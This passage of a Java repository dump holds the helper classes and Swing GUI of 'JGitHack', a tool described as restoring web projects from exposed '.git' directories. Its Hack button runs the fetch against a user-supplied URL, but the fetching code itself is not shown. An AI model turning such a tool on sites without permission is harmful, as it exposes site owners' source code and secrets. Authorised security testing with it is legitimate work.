Rights Reserved. 4 | */ 5 | package com.jgithack.lang; 6 | 7 | /** 8 | * StringUtil 9 | * 10 | * @author Albert Wang 11 | * @version $Id: StringUtil.java, V0.1 Oct 30, 2016 1:35:21 AM jawangwen@qq.com $ 12 | */ 13 | public class StringUtil { 14 | /** 15 | * A String for a space character. 16 | * 17 | * @since 3.2 18 | */ 19 | public static final String SPACE = " "; 20 | 21 | /** 22 | * The empty String {@code ""}. 23 | * @since 2.0 24 | */ 25 | public static final String EMPTY = ""; 26 | 27 | /** 28 | * Represents a failed index search. 29 | * @since 2.1 30 | */ 31 | public static final int INDEX_NOT_FOUND = -1; 32 | 33 | // Empty checks 34 | //----------------------------------------------------------------------- 35 | /** 36 | *

Checks if a CharSequence is empty ("") or null.

37 | * 38 | *
 39 |      * StringUtils.isEmpty(null)      = true
 40 |      * StringUtils.isEmpty("")        = true
 41 |      * StringUtils.isEmpty(" ")       = false
 42 |      * StringUtils.isEmpty("bob")     = false
 43 |      * StringUtils.isEmpty("  bob  ") = false
 44 |      * 
45 | * 46 | *

NOTE: This method changed in Lang version 2.0. 47 | * It no longer trims the CharSequence. 48 | * That functionality is available in isBlank().

49 | * 50 | * @param cs the CharSequence to check, may be null 51 | * @return {@code true} if the CharSequence is empty or null 52 | * @since 3.0 Changed signature from isEmpty(String) to isEmpty(CharSequence) 53 | */ 54 | public static boolean isEmpty(final CharSequence cs) { 55 | return cs == null || cs.length() == 0; 56 | } 57 | 58 | /** 59 | *

Checks if a CharSequence is not empty ("") and not null.

60 | * 61 | *
 62 |      * StringUtils.isNotEmpty(null)      = false
 63 |      * StringUtils.isNotEmpty("")        = false
 64 |      * StringUtils.isNotEmpty(" ")       = true
 65 |      * StringUtils.isNotEmpty("bob")     = true
 66 |      * StringUtils.isNotEmpty("  bob  ") = true
 67 |      * 
68 | * 69 | * @param cs the CharSequence to check, may be null 70 | * @return {@code true} if the CharSequence is not empty and not null 71 | * @since 3.0 Changed signature from isNotEmpty(String) to isNotEmpty(CharSequence) 72 | */ 73 | public static boolean isNotEmpty(final CharSequence cs) { 74 | return !isEmpty(cs); 75 | } 76 | 77 | /** 78 | *

Checks if a CharSequence is whitespace, empty ("") or null.

79 | * 80 | *
 81 |      * StringUtils.isBlank(null)      = true
 82 |      * StringUtils.isBlank("")        = true
 83 |      * StringUtils.isBlank(" ")       = true
 84 |      * StringUtils.isBlank("bob")     = false
 85 |      * StringUtils.isBlank("  bob  ") = false
 86 |      * 
87 | * 88 | * @param cs the CharSequence to check, may be null 89 | * @return {@code true} if the CharSequence is null, empty or whitespace 90 | * @since 2.0 91 | * @since 3.0 Changed signature from isBlank(String) to isBlank(CharSequence) 92 | */ 93 | public static boolean isBlank(final CharSequence cs) { 94 | int strLen; 95 | if (cs == null || (strLen = cs.length()) == 0) { 96 | return true; 97 | } 98 | for (int i = 0; i < strLen; i++) { 99 | if (Character.isWhitespace(cs.charAt(i)) == false) { 100 | return false; 101 | } 102 | } 103 | return true; 104 | } 105 | 106 | /** 107 | *

Checks if a CharSequence is not empty (""), not null and not whitespace only.

108 | * 109 | *
110 |      * StringUtils.isNotBlank(null)      = false
111 |      * StringUtils.isNotBlank("")        = false
112 |      * StringUtils.isNotBlank(" ")       = false
113 |      * StringUtils.isNotBlank("bob")     = true
114 |      * StringUtils.isNotBlank("  bob  ") = true
115 |      * 
116 | * 117 | * @param cs the CharSequence to check, may be null 118 | * @return {@code true} if the CharSequence is 119 | * not empty and not null and not whitespace 120 | * @since 2.0 121 | * @since 3.0 Changed signature from isNotBlank(String) to isNotBlank(CharSequence) 122 | */ 123 | public static boolean isNotBlank(final CharSequence cs) { 124 | return !isBlank(cs); 125 | } 126 | 127 | // Trim 128 | //----------------------------------------------------------------------- 129 | /** 130 | *

Removes control characters (char <= 32) from both 131 | * ends of this String, handling {@code null} by returning 132 | * {@code null}.

133 | * 134 | *

The String is trimmed using {@link String#trim()}. 135 | * Trim removes start and end characters <= 32. 136 | * To strip whitespace use {@link #strip(String)}.

137 | * 138 | *

To trim your choice of characters, use the 139 | * {@link #strip(String, String)} methods.

140 | * 141 | *
142 |      * StringUtils.trim(null)          = null
143 |      * StringUtils.trim("")            = ""
144 |      * StringUtils.trim("     ")       = ""
145 |      * StringUtils.trim("abc")         = "abc"
146 |      * StringUtils.trim("    abc    ") = "abc"
147 |      * 
148 | * 149 | * @param str the String to be trimmed, may be null 150 | * @return the trimmed string, {@code null} if null String input 151 | */ 152 | public static String trim(final String str) { 153 | return str == null ? null : str.trim(); 154 | } 155 | 156 | /** 157 | *

Removes control characters (char <= 32) from both 158 | * ends of this String returning {@code null} if the String is 159 | * empty ("") after the trim or if it is {@code null}. 160 | * 161 | *

The String is trimmed using {@link String#trim()}. 162 | * Trim removes start and end characters <= 32. 163 | * To strip whitespace use {@link #stripToNull(String)}.

164 | * 165 | *
166 |      * StringUtils.trimToNull(null)          = null
167 |      * StringUtils.trimToNull("")            = null
168 |      * StringUtils.trimToNull("     ")       = null
169 |      * StringUtils.trimToNull("abc")         = "abc"
170 |      * StringUtils.trimToNull("    abc    ") = "abc"
171 |      * 
172 | * 173 | * @param str the String to be trimmed, may be null 174 | * @return the trimmed String, 175 | * {@code null} if only chars <= 32, empty or null String input 176 | * @since 2.0 177 | */ 178 | public static String trimToNull(final String str) { 179 | final String ts = trim(str); 180 | return isEmpty(ts) ? null : ts; 181 | } 182 | 183 | /** 184 | *

Removes control characters (char <= 32) from both 185 | * ends of this String returning an empty String ("") if the String 186 | * is empty ("") after the trim or if it is {@code null}. 187 | * 188 | *

The String is trimmed using {@link String#trim()}. 189 | * Trim removes start and end characters <= 32. 190 | * To strip whitespace use {@link #stripToEmpty(String)}.

191 | * 192 | *
193 |      * StringUtils.trimToEmpty(null)          = ""
194 |      * StringUtils.trimToEmpty("")            = ""
195 |      * StringUtils.trimToEmpty("     ")       = ""
196 |      * StringUtils.trimToEmpty("abc")         = "abc"
197 |      * StringUtils.trimToEmpty("    abc    ") = "abc"
198 |      * 
199 | * 200 | * @param str the String to be trimmed, may be null 201 | * @return the trimmed String, or an empty String if {@code null} input 202 | * @since 2.0 203 | */ 204 | public static String trimToEmpty(final String str) { 205 | return str == null ? EMPTY : str.trim(); 206 | } 207 | } 208 | -------------------------------------------------------------------------------- /src/java/com/jgithack/log/LogUtils.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.com Inc. 3 | * Copyright (c) 2004-2016 All Rights Reserved. 4 | */ 5 | package com.jgithack.log; 6 | 7 | import java.io.PrintWriter; 8 | import java.io.StringWriter; 9 | import java.io.Writer; 10 | 11 | /** 12 | * 简单的日志工具。。 13 | * 14 | * @author Albert Wang 15 | * @version $Id: LogUtils.java, V0.1 2016-10-29 20:02:00, jawangwen@qq.com $ 16 | */ 17 | public class LogUtils { 18 | public static final int DEBUG = 0; 19 | public static final int INFO = 1; 20 | public static final int WARNING = 2; 21 | public static final int ERROR = 3; 22 | 23 | private static volatile int level = DEBUG; 24 | 25 | private static volatile Print print = new Print() { 26 | @Override 27 | public void toOut(String log) { 28 | System.out.println(log); 29 | } 30 | 31 | @Override 32 | public void toErr(String log) { 33 | System.err.println(log); 34 | } 35 | }; 36 | 37 | /** 38 | * 打印方案 39 | * 40 | * @author Albert Wang 41 | * @version $Id: LogUtils.java, V0.1 Nov 2, 2016 12:30:54 AM jawangwen@qq.com $ 42 | */ 43 | public static interface Print { 44 | /** 45 | * 打印一般信息 46 | */ 47 | public void toOut(String log); 48 | 49 | /** 50 | * 打印错误信息 51 | */ 52 | public void toErr(String log); 53 | } 54 | 55 | /** 56 | * 以slf4j的格式来格式化日志输出 57 | * 58 | * @param message 59 | * @param arguments 60 | * @return 61 | */ 62 | public static String formatMessage(String message, Object... arguments) { 63 | if (arguments == null || arguments.length == 0) { 64 | return message; 65 | } 66 | return String.format(message, arguments); 67 | } 68 | 69 | /** 70 | * debug级别日志输出 71 | * 72 | * @param logger 73 | * @param message 74 | * @param arguments 75 | */ 76 | public static void debug(String message, Object... arguments) { 77 | if (level <= DEBUG) { 78 | print.toOut(formatMessage(message, arguments)); 79 | } 80 | } 81 | 82 | /** 83 | * info级别日志输出 84 | * 85 | * @param logger 86 | * @param message 87 | * @param arguments 88 | */ 89 | public static void info(String message, Object... arguments) { 90 | if (level <= INFO) { 91 | print.toOut(formatMessage(message, arguments)); 92 | } 93 | } 94 | 95 | /** 96 | * warn级别日志输出 97 | * 98 | * @param logger 99 | * @param message 100 | * @param arguments 101 | */ 102 | public static void warn(String message, Object... arguments) { 103 | if (level <= WARNING) { 104 | print.toErr(formatMessage(message, arguments)); 105 | } 106 | } 107 | 108 | /** 109 | * error级别日志输出 110 | * 111 | * @param logger 112 | * @param message 113 | * @param arguments 114 | */ 115 | public static void error(String message, Object... arguments) { 116 | print.toErr(formatMessage(message, arguments)); 117 | } 118 | 119 | /** 120 | * warn级别带异常堆栈日志输出 121 | * 122 | * @param logger 123 | * @param e 124 | * @param message 125 | * @param arguments 126 | */ 127 | public static void warn(Throwable e, String message, Object... arguments) { 128 | if (level <= WARNING) { 129 | print.toErr(formatMessage(message, arguments) + getStackTrace(e)); 130 | } 131 | 132 | } 133 | 134 | /** 135 | * error级别带异常堆栈日志输出 136 | * 137 | * @param logger 138 | * @param e 139 | * @param message 140 | * @param arguments 141 | */ 142 | public static void error(Throwable e, String message, Object... arguments) { 143 | print.toErr(formatMessage(message, arguments)); 144 | print.toErr(getStackTrace(e)); 145 | } 146 | 147 | /** 148 | * 异常堆栈转String 149 | * 150 | * @param throwable 151 | * @return 152 | */ 153 | public static String getStackTrace(Throwable throwable) { 154 | if (throwable == null) { 155 | return ""; 156 | } 157 | Writer sw = new StringWriter(); 158 | PrintWriter pw = new PrintWriter(sw); 159 | throwable.printStackTrace(pw); 160 | return sw.toString(); 161 | } 162 | 163 | /** 164 | * Setter method for property print. 165 | * 166 | * @param print value to be assigned to property print 167 | */ 168 | public static void setPrint(Print print) { 169 | LogUtils.print = print; 170 | } 171 | } 172 | -------------------------------------------------------------------------------- /src/java/com/jgithack/model/IndexEntry.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.com Inc. 3 | * Copyright (c) 2004-2016 All Rights Reserved. 4 | */ 5 | package com.jgithack.model; 6 | 7 | /** 8 | * IndexEntry-.git目录下index文件的基本组成元素 9 | * 10 | * @author Albert Wang 11 | * @version $Id: IndexEntry.java, V0.1 2016-10-29 20:01:00, jawangwen@qq.com $ 12 | */ 13 | public class IndexEntry { 14 | private Integer id; 15 | private Integer secondsCreated; 16 | private Integer nanosecondsCreated; 17 | private Integer secondsModified; 18 | private Integer nanosecondsModified; 19 | private Integer dev; 20 | private Integer ino; 21 | private String mode; 22 | private Integer uid; 23 | private Integer gid; 24 | private Integer size; 25 | private String sha1; 26 | private Short flags; 27 | private Boolean assumeValid; 28 | private Boolean extended; 29 | private Boolean[] stage; 30 | private Short extraFlags; 31 | private Boolean reserved; 32 | private Boolean skipWorktree; 33 | private Boolean intentToAdd; 34 | private String name; 35 | 36 | /** 37 | * Getter method for property id. 38 | * 39 | * @return property value of id 40 | */ 41 | public Integer getId() { 42 | return id; 43 | } 44 | 45 | /** 46 | * Setter method for property id. 47 | * 48 | * @param id value to be assigned to property id 49 | */ 50 | public void setId(Integer id) { 51 | this.id = id; 52 | } 53 | 54 | /** 55 | * Getter method for property secondsCreated. 56 | * 57 | * @return property value of secondsCreated 58 | */ 59 | public Integer getSecondsCreated() { 60 | return secondsCreated; 61 | } 62 | 63 | /** 64 | * Setter method for property secondsCreated. 65 | * 66 | * @param secondsCreated value to be assigned to property secondsCreated 67 | */ 68 | public void setSecondsCreated(Integer secondsCreated) { 69 | this.secondsCreated = secondsCreated; 70 | } 71 | 72 | /** 73 | * Getter method for property nanosecondsCreated. 74 | * 75 | * @return property value of nanosecondsCreated 76 | */ 77 | public Integer getNanosecondsCreated() { 78 | return nanosecondsCreated; 79 | } 80 | 81 | /** 82 | * Setter method for property nanosecondsCreated. 83 | * 84 | * @param nanosecondsCreated value to be assigned to property nanosecondsCreated 85 | */ 86 | public void setNanosecondsCreated(Integer nanosecondsCreated) { 87 | this.nanosecondsCreated = nanosecondsCreated; 88 | } 89 | 90 | /** 91 | * Getter method for property secondsModified. 92 | * 93 | * @return property value of secondsModified 94 | */ 95 | public Integer getSecondsModified() { 96 | return secondsModified; 97 | } 98 | 99 | /** 100 | * Setter method for property secondsModified. 101 | * 102 | * @param secondsModified value to be assigned to property secondsModified 103 | */ 104 | public void setSecondsModified(Integer secondsModified) { 105 | this.secondsModified = secondsModified; 106 | } 107 | 108 | /** 109 | * Getter method for property nanosecondsModified. 110 | * 111 | * @return property value of nanosecondsModified 112 | */ 113 | public Integer getNanosecondsModified() { 114 | return nanosecondsModified; 115 | } 116 | 117 | /** 118 | * Setter method for property nanosecondsModified. 119 | * 120 | * @param nanosecondsModified value to be assigned to property nanosecondsModified 121 | */ 122 | public void setNanosecondsModified(Integer nanosecondsModified) { 123 | this.nanosecondsModified = nanosecondsModified; 124 | } 125 | 126 | /** 127 | * Getter method for property dev. 128 | * 129 | * @return property value of dev 130 | */ 131 | public Integer getDev() { 132 | return dev; 133 | } 134 | 135 | /** 136 | * Setter method for property dev. 137 | * 138 | * @param dev value to be assigned to property dev 139 | */ 140 | public void setDev(Integer dev) { 141 | this.dev = dev; 142 | } 143 | 144 | /** 145 | * Getter method for property ino. 146 | * 147 | * @return property value of ino 148 | */ 149 | public Integer getIno() { 150 | return ino; 151 | } 152 | 153 | /** 154 | * Setter method for property ino. 155 | * 156 | * @param ino value to be assigned to property ino 157 | */ 158 | public void setIno(Integer ino) { 159 | this.ino = ino; 160 | } 161 | 162 | /** 163 | * Getter method for property mode. 164 | * 165 | * @return property value of mode 166 | */ 167 | public String getMode() { 168 | return mode; 169 | } 170 | 171 | /** 172 | * Setter method for property mode. 173 | * 174 | * @param mode value to be assigned to property mode 175 | */ 176 | public void setMode(String mode) { 177 | this.mode = mode; 178 | } 179 | 180 | /** 181 | * Getter method for property uid. 182 | * 183 | * @return property value of uid 184 | */ 185 | public Integer getUid() { 186 | return uid; 187 | } 188 | 189 | /** 190 | * Setter method for property uid. 191 | * 192 | * @param uid value to be assigned to property uid 193 | */ 194 | public void setUid(Integer uid) { 195 | this.uid = uid; 196 | } 197 | 198 | /** 199 | * Getter method for property gid. 200 | * 201 | * @return property value of gid 202 | */ 203 | public Integer getGid() { 204 | return gid; 205 | } 206 | 207 | /** 208 | * Setter method for property gid. 209 | * 210 | * @param gid value to be assigned to property gid 211 | */ 212 | public void setGid(Integer gid) { 213 | this.gid = gid; 214 | } 215 | 216 | /** 217 | * Getter method for property size. 218 | * 219 | * @return property value of size 220 | */ 221 | public Integer getSize() { 222 | return size; 223 | } 224 | 225 | /** 226 | * Setter method for property size. 227 | * 228 | * @param size value to be assigned to property size 229 | */ 230 | public void setSize(Integer size) { 231 | this.size = size; 232 | } 233 | 234 | /** 235 | * Getter method for property sha1. 236 | * 237 | * @return property value of sha1 238 | */ 239 | public String getSha1() { 240 | return sha1; 241 | } 242 | 243 | /** 244 | * Setter method for property sha1. 245 | * 246 | * @param sha1 value to be assigned to property sha1 247 | */ 248 | public void setSha1(String sha1) { 249 | this.sha1 = sha1; 250 | } 251 | 252 | /** 253 | * Getter method for property flags. 254 | * 255 | * @return property value of flags 256 | */ 257 | public Short getFlags() { 258 | return flags; 259 | } 260 | 261 | /** 262 | * Setter method for property flags. 263 | * 264 | * @param flags value to be assigned to property flags 265 | */ 266 | public void setFlags(Short flags) { 267 | this.flags = flags; 268 | } 269 | 270 | /** 271 | * Getter method for property assumeValid. 272 | * 273 | * @return property value of assumeValid 274 | */ 275 | public Boolean getAssumeValid() { 276 | return assumeValid; 277 | } 278 | 279 | /** 280 | * Setter method for property assumeValid. 281 | * 282 | * @param assumeValid value to be assigned to property assumeValid 283 | */ 284 | public void setAssumeValid(Boolean assumeValid) { 285 | this.assumeValid = assumeValid; 286 | } 287 | 288 | /** 289 | * Getter method for property extended. 290 | * 291 | * @return property value of extended 292 | */ 293 | public Boolean getExtended() { 294 | return extended; 295 | } 296 | 297 | /** 298 | * Setter method for property extended. 299 | * 300 | * @param extended value to be assigned to property extended 301 | */ 302 | public void setExtended(Boolean extended) { 303 | this.extended = extended; 304 | } 305 | 306 | /** 307 | * Getter method for property stage. 308 | * 309 | * @return property value of stage 310 | */ 311 | public Boolean[] getStage() { 312 | return stage; 313 | } 314 | 315 | /** 316 | * Setter method for property stage. 317 | * 318 | * @param stage value to be assigned to property stage 319 | */ 320 | public void setStage(Boolean[] stage) { 321 | this.stage = stage; 322 | } 323 | 324 | /** 325 | * Getter method for property extraFlags. 326 | * 327 | * @return property value of extraFlags 328 | */ 329 | public Short getExtraFlags() { 330 | return extraFlags; 331 | } 332 | 333 | /** 334 | * Setter method for property extraFlags. 335 | * 336 | * @param extraFlags value to be assigned to property extraFlags 337 | */ 338 | public void setExtraFlags(Short extraFlags) { 339 | this.extraFlags = extraFlags; 340 | } 341 | 342 | /** 343 | * Getter method for property reserved. 344 | * 345 | * @return property value of reserved 346 | */ 347 | public Boolean getReserved() { 348 | return reserved; 349 | } 350 | 351 | /** 352 | * Setter method for property reserved. 353 | * 354 | * @param reserved value to be assigned to property reserved 355 | */ 356 | public void setReserved(Boolean reserved) { 357 | this.reserved = reserved; 358 | } 359 | 360 | /** 361 | * Getter method for property skipWorktree. 362 | * 363 | * @return property value of skipWorktree 364 | */ 365 | public Boolean getSkipWorktree() { 366 | return skipWorktree; 367 | } 368 | 369 | /** 370 | * Setter method for property skipWorktree. 371 | * 372 | * @param skipWorktree value to be assigned to property skipWorktree 373 | */ 374 | public void setSkipWorktree(Boolean skipWorktree) { 375 | this.skipWorktree = skipWorktree; 376 | } 377 | 378 | /** 379 | * Getter method for property intentToAdd. 380 | * 381 | * @return property value of intentToAdd 382 | */ 383 | public Boolean getIntentToAdd() { 384 | return intentToAdd; 385 | } 386 | 387 | /** 388 | * Setter method for property intentToAdd. 389 | * 390 | * @param intentToAdd value to be assigned to property intentToAdd 391 | */ 392 | public void setIntentToAdd(Boolean intentToAdd) { 393 | this.intentToAdd = intentToAdd; 394 | } 395 | 396 | /** 397 | * Getter method for property name. 398 | * 399 | * @return property value of name 400 | */ 401 | public String getName() { 402 | return name; 403 | } 404 | 405 | /** 406 | * Setter method for property name. 407 | * 408 | * @param name value to be assigned to property name 409 | */ 410 | public void setName(String name) { 411 | this.name = name; 412 | } 413 | } 414 | -------------------------------------------------------------------------------- /src/java/com/jgithack/ui/AboutFrame.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.com Inc. 3 | * Copyright (c) 2004-2016 All Rights Reserved. 4 | */ 5 | package com.jgithack.ui; 6 | 7 | import java.awt.Dimension; 8 | import java.awt.event.ActionEvent; 9 | import java.awt.event.ActionListener; 10 | 11 | import javax.swing.GroupLayout; 12 | import javax.swing.JButton; 13 | import javax.swing.JEditorPane; 14 | import javax.swing.JFrame; 15 | import javax.swing.JPanel; 16 | import javax.swing.JScrollPane; 17 | import javax.swing.LayoutStyle; 18 | import javax.swing.WindowConstants; 19 | 20 | /** 21 | * AboutFrame 22 | * 23 | * @author Albert Wang 24 | * @version $Id: AboutFrame.java, V0.1 Nov 1, 2016 11:12:38 PM jawangwen@qq.com $ 25 | */ 26 | public class AboutFrame extends JFrame { 27 | /** serial version */ 28 | private static final long serialVersionUID = -3921661806821542826L; 29 | 30 | private String message = "

GitHack v1.0

\n" 31 | + "

JGitHack is a Java tool using \".git leak\"" 32 | + " to restore web project.


\n" 33 | + "Albert Wang(jawangwen@qq.com)"; 34 | private JPanel aboutPanel; 35 | private JEditorPane editorPane; 36 | private JScrollPane scrollPane; 37 | private JButton okButton; 38 | 39 | /** 40 | * Creates new form aboutFrame 41 | */ 42 | public AboutFrame() { 43 | initComponents(); 44 | editorPane.setCaretPosition(0); 45 | } 46 | 47 | private void initComponents() { 48 | okButton = new JButton(); 49 | aboutPanel = new JPanel(); 50 | scrollPane = new JScrollPane(); 51 | editorPane = new JEditorPane(); 52 | 53 | setDefaultCloseOperation(WindowConstants.DISPOSE_ON_CLOSE); 54 | 55 | okButton.setText("OK"); 56 | okButton.setAlignmentX(0.5F); 57 | okButton.addActionListener(new ActionListener() { 58 | public void actionPerformed(ActionEvent evt) { 59 | dispose(); 60 | } 61 | }); 62 | 63 | aboutPanel.setPreferredSize(new Dimension(450, 300)); 64 | 65 | editorPane.setContentType("text/html"); 66 | editorPane.setEditable(false); 67 | editorPane.setText(message); 68 | editorPane.setMinimumSize(new Dimension(150, 150)); 69 | editorPane.setPreferredSize(new Dimension(150, 150)); 70 | scrollPane.setViewportView(editorPane); 71 | 72 | GroupLayout aboutPanelLayout = new GroupLayout(aboutPanel); 73 | aboutPanel.setLayout(aboutPanelLayout); 74 | aboutPanelLayout.setHorizontalGroup(aboutPanelLayout.createParallelGroup( 75 | GroupLayout.Alignment.LEADING).addComponent(scrollPane, GroupLayout.DEFAULT_SIZE, 444, 76 | Short.MAX_VALUE)); 77 | aboutPanelLayout.setVerticalGroup(aboutPanelLayout.createParallelGroup( 78 | GroupLayout.Alignment.LEADING).addComponent(scrollPane, GroupLayout.DEFAULT_SIZE, 311, 79 | Short.MAX_VALUE)); 80 | 81 | GroupLayout layout = new GroupLayout(getContentPane()); 82 | getContentPane().setLayout(layout); 83 | layout.setHorizontalGroup(layout 84 | .createParallelGroup(GroupLayout.Alignment.LEADING) 85 | .addGroup( 86 | layout.createSequentialGroup().addGap(168, 168, 168).addComponent(okButton) 87 | .addContainerGap(227, Short.MAX_VALUE)) 88 | .addComponent(aboutPanel, GroupLayout.DEFAULT_SIZE, 444, Short.MAX_VALUE)); 89 | layout.setVerticalGroup(layout.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup( 90 | GroupLayout.Alignment.TRAILING, 91 | layout.createSequentialGroup() 92 | .addComponent(aboutPanel, GroupLayout.DEFAULT_SIZE, 311, Short.MAX_VALUE) 93 | .addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(okButton) 94 | .addContainerGap())); 95 | pack(); 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /src/java/com/jgithack/ui/HomeFrame.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.com Inc. 3 | * Copyright (c) 2004-2016 All Rights Reserved. 4 | */ 5 | package com.jgithack.ui; 6 | 7 | import java.awt.BorderLayout; 8 | import java.awt.Container; 9 | import java.awt.Dimension; 10 | import java.awt.FlowLayout; 11 | import java.awt.event.ActionEvent; 12 | import java.awt.event.ActionListener; 13 | import java.io.File; 14 | import java.util.concurrent.BlockingQueue; 15 | import java.util.concurrent.LinkedBlockingQueue; 16 | import java.util.concurrent.ThreadPoolExecutor; 17 | import java.util.concurrent.TimeUnit; 18 | import java.util.concurrent.locks.Lock; 19 | import java.util.concurrent.locks.ReentrantLock; 20 | 21 | import javax.swing.JButton; 22 | import javax.swing.JFrame; 23 | import javax.swing.JLabel; 24 | import javax.swing.JMenu; 25 | import javax.swing.JMenuBar; 26 | import javax.swing.JMenuItem; 27 | import javax.swing.JOptionPane; 28 | import javax.swing.JPanel; 29 | import javax.swing.JScrollPane; 30 | import javax.swing.JTextArea; 31 | import javax.swing.JTextField; 32 | import javax.swing.WindowConstants; 33 | import javax.swing.event.UndoableEditEvent; 34 | import javax.swing.event.UndoableEditListener; 35 | 36 | import com.jgithack.hack.GitHack; 37 | import com.jgithack.log.LogUtils; 38 | 39 | /** 40 | * Home Frame GUI 41 | * 42 | * @author Albert Wang 43 | * @version $Id: HomeFrame.java, V0.1 Nov 1, 2016 11:12:20 PM jawangwen@qq.com $ 44 | */ 45 | public class HomeFrame extends JFrame { 46 | private static final long serialVersionUID = 1L; 47 | 48 | private static final String BUTTON_HACK = "Hack"; 49 | private static final String BUTTON_STOP = "Stop"; 50 | 51 | /** Menu bar */ 52 | private JMenuBar menuBar; 53 | 54 | /** Sub menu - help */ 55 | private JMenu helpMenu; 56 | 57 | /** Menu option - about */ 58 | private JMenuItem aboutItem; 59 | 60 | /** Input field for remote URL */ 61 | private JTextField remoteUrlField; 62 | 63 | /** Input field for download directory */ 64 | private JTextField downloadField; 65 | 66 | /** Output area like terminal */ 67 | private JTextArea terminalArea; 68 | 69 | /** Button to start GitHack */ 70 | private JButton hackButton; 71 | 72 | /** Avoid to run GitHack repeatedly when it works */ 73 | private final Lock lock = new ReentrantLock(); 74 | 75 | /** thread pool queue for run GitHack asynchronously */ 76 | private volatile BlockingQueue tasks = new LinkedBlockingQueue(); 77 | 78 | /** thread pool for run GitHack asynchronously */ 79 | private volatile ThreadPoolExecutor executor = new ThreadPoolExecutor(1, 1, 30, 80 | TimeUnit.SECONDS, tasks); 81 | 82 | private volatile GitHack gitHack = new GitHack(); 83 | 84 | /** 85 | * Home GUI Constructor 86 | */ 87 | public HomeFrame() { 88 | initMenu(); 89 | 90 | downloadField = new JTextField(50); 91 | 92 | remoteUrlField = new JTextField(50); 93 | remoteUrlField.requestFocus(); 94 | remoteUrlField.getDocument().addUndoableEditListener(new UndoableEditListener() { 95 | @Override 96 | public void undoableEditHappened(UndoableEditEvent e) { 97 | String path = remoteUrlField.getText().trim().replace("http://", "") 98 | .replaceFirst("/(\\w*?)\\.(\\w+)$", ""); 99 | downloadField.setText(new File(path).getAbsolutePath()); 100 | } 101 | }); 102 | 103 | terminalArea = new JTextArea(30, 60); 104 | terminalArea.setEditable(false); 105 | LogUtils.setPrint(new LogUtils.Print() { 106 | @Override 107 | public void toOut(String log) { 108 | terminalArea.append(log + "\n"); 109 | repaint(); 110 | } 111 | 112 | @Override 113 | public void toErr(String log) { 114 | terminalArea.append(log + "\n"); 115 | repaint(); 116 | } 117 | }); 118 | 119 | hackButton = new JButton(BUTTON_HACK); 120 | hackButton.addActionListener(new ActionListener() { 121 | @Override 122 | public void actionPerformed(ActionEvent event) { 123 | hackActionPerformed(event); 124 | } 125 | }); 126 | 127 | JPanel labelPanel = new JPanel(new BorderLayout()); 128 | labelPanel.add(new JLabel("RemoteUrl "), BorderLayout.NORTH); 129 | labelPanel.add(new JLabel("SaveTo "), BorderLayout.SOUTH); 130 | 131 | JPanel fieldPanel = new JPanel(new BorderLayout()); 132 | fieldPanel.add(remoteUrlField, BorderLayout.NORTH); 133 | fieldPanel.add(downloadField, BorderLayout.SOUTH); 134 | 135 | JPanel inputPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); 136 | inputPanel.add(labelPanel); 137 | inputPanel.add(fieldPanel); 138 | 139 | JPanel terminalPanel = new JPanel(new FlowLayout(FlowLayout.CENTER)); 140 | terminalPanel.add(new JScrollPane(terminalArea)); 141 | 142 | JPanel cmdPanel = new JPanel(new FlowLayout(FlowLayout.RIGHT)); 143 | cmdPanel.add(hackButton); 144 | 145 | Container container = getContentPane(); 146 | container.setLayout(new BorderLayout()); 147 | container.add(inputPanel, BorderLayout.NORTH); 148 | container.add(terminalPanel, BorderLayout.CENTER); 149 | container.add(cmdPanel, BorderLayout.SOUTH); 150 | 151 | Dimension dimension = getToolkit().getScreenSize(); 152 | 153 | this.setTitle("GitHack V1.0"); 154 | this.setMaximumSize(dimension); 155 | this.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); 156 | this.setResizable(true); 157 | this.pack(); 158 | } 159 | 160 | private void initMenu() { 161 | menuBar = new JMenuBar(); 162 | helpMenu = new JMenu(); 163 | aboutItem = new JMenuItem(); 164 | 165 | helpMenu.setText("Help"); 166 | 167 | aboutItem.setText("About"); 168 | aboutItem.addActionListener(new ActionListener() { 169 | public void actionPerformed(ActionEvent event) { 170 | aboutActionPerformed(event); 171 | } 172 | }); 173 | helpMenu.add(aboutItem); 174 | 175 | menuBar.add(helpMenu); 176 | 177 | setJMenuBar(menuBar); 178 | } 179 | 180 | private void hackActionPerformed(ActionEvent event) { 181 | if (!lock.tryLock()) { 182 | JOptionPane.showMessageDialog(null, hackButton.getText() + " is doing.."); 183 | return; 184 | } 185 | try { 186 | if (BUTTON_HACK.equals(hackButton.getText())) { 187 | final String remoteUrl = remoteUrlField.getText().trim(); 188 | if (remoteUrl.length() <= 0) { 189 | JOptionPane.showMessageDialog(null, "remoteUrl could not be empty!"); 190 | } 191 | 192 | final String downloadDir = downloadField.getText().trim(); 193 | 194 | hackButton.setText(BUTTON_STOP); 195 | terminalArea.setText(""); 196 | 197 | executor = new ThreadPoolExecutor(1, 1, 30, TimeUnit.SECONDS, tasks); 198 | executor.execute(new Runnable() { 199 | @Override 200 | public void run() { 201 | try { 202 | repaint(); 203 | gitHack = new GitHack(remoteUrl).withDownloadDir(downloadDir) 204 | .nativeFirst(true).skipError(true).withTryTimes(1); 205 | gitHack.build().checkout(); 206 | LogUtils.info("Complete!"); 207 | } catch (Exception exception) { 208 | LogUtils.error(exception, exception.getMessage()); 209 | } finally { 210 | hackButton.setText(BUTTON_HACK); 211 | } 212 | } 213 | }); 214 | } else { 215 | executor.shutdownNow(); 216 | gitHack.close(); 217 | hackButton.setText(BUTTON_HACK); 218 | } 219 | } catch (Exception exception) { 220 | LogUtils.warn(exception, ""); 221 | JOptionPane.showMessageDialog(null, exception.toString()); 222 | } finally { 223 | lock.unlock(); 224 | } 225 | } 226 | 227 | /** 228 | * Show the help/about frame 229 | * @param evt Event 230 | */ 231 | private void aboutActionPerformed(ActionEvent event) { 232 | AboutFrame about = new AboutFrame(); 233 | about.setLocationRelativeTo(this); 234 | about.setVisible(true); 235 | } 236 | } --------------------------------------------------------------------------------